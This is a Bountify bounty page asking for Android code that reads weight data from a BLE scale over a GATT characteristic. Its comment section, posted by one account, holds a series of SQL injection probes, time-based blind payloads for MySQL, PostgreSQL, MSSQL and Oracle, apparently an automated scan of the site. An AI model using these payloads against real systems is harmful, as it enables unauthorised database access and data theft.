Android Code BLE Implementation, SO Solution Provided.
New here? Learn about Bountify and follow @bountify to get notified of new bounties! x

All I need is the implementation. Everything is laid out.

I'm a bit stuck on this. I've been trying to implement this myself, but I just can't get it right.

If someone can get this working with parsing, hex to decimal method, and outputting the weight with a variable I can call on the xml.

Someone answered with the solution on stack overflow already, but it's the implementation that I'm having trouble with, I can't get it to output. I have to make sure it works before I pay.

Deadline is this Friday.

Thanks a lot.

SO problem:

http://stackoverflow.com/questions/40566377/writing-application-code-for-a-ble-scale-all-the-info-included/40569294#40569294

Source code of the basic scanner:

https://github.com/googlesamples/android-BluetoothLeGatt

The details are in SO, but I'll reiterate them here.

The service is on UUID 0XFFF0, the weight data characteristic is on UUID 0XFFF4.
I need to enable notifications on 0XFFF4 to be able to receive data.
The form of the data being received is in a 32 Byte array.

For example when I stand on the scale, it will send out

00 00 00 00 02 02 00 00 00 00 00 00 00 00 00 00
The weight data is on bytes 5 and 6. If you convert the hex values of bytes 5 and 6, in that example is '0202' it becomes 514 in decimal, which is 51.4kg.

I got the hexidecimal code outputting in the Data portion when I substituted the 0XFFF4 UUID in the SampleAttribute page since notification is already implemented for the source code.

Cheers.

NPl02Pg2
gbtagbbj 8 months ago
-1 OR 2+502-502-1=0+0+0+1
gbtagbbj 8 months ago
-1 OR 3+502-502-1=0+0+0+1
gbtagbbj 8 months ago
RLIKE (SELECT (CASE WHEN (619=619) THEN 1 ELSE 0x28 END)) --
gbtagbbj 8 months ago
if(now()=sysdate(),sleep(15),0)
gbtagbbj 8 months ago
0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z
gbtagbbj 8 months ago
0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z
gbtagbbj 8 months ago
(select(0)from(select(sleep(15)))v)/'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"/
gbtagbbj 8 months ago
1 waitfor delay '0:0:15' --
gbtagbbj 8 months ago
voktjEtU'
gbtagbbj 8 months ago
-5 OR 209=(SELECT 209 FROM PG_SLEEP(15))--
gbtagbbj 8 months ago
-5) OR 652=(SELECT 652 FROM PG_SLEEP(15))--
gbtagbbj 8 months ago
-1)) OR 511=(SELECT 511 FROM PG_SLEEP(15))--
gbtagbbj 8 months ago
z25ec9KN' OR 445=(SELECT 445 FROM PG_SLEEP(15))--
gbtagbbj 8 months ago
V7dBFuZM') OR 723=(SELECT 723 FROM PG_SLEEP(15))--
gbtagbbj 8 months ago
8oBTIfMk')) OR 491=(SELECT 491 FROM PG_SLEEP(15))--
gbtagbbj 8 months ago
*DBMSPIPE.RECEIVEMESSAGE(CHR(99)||CHR(99)||CHR(99),15)
gbtagbbj 8 months ago
'||DBMSPIPE.RECEIVEMESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
gbtagbbj 8 months ago
'||(select 1 from (select pg_sleep(15))x)||'
gbtagbbj 8 months ago
''||(select 1 from (select pg_sleep(15))x)||''
gbtagbbj 8 months ago
awarded to Wikimedia

Crowdsource coding tasks.

0 Solutions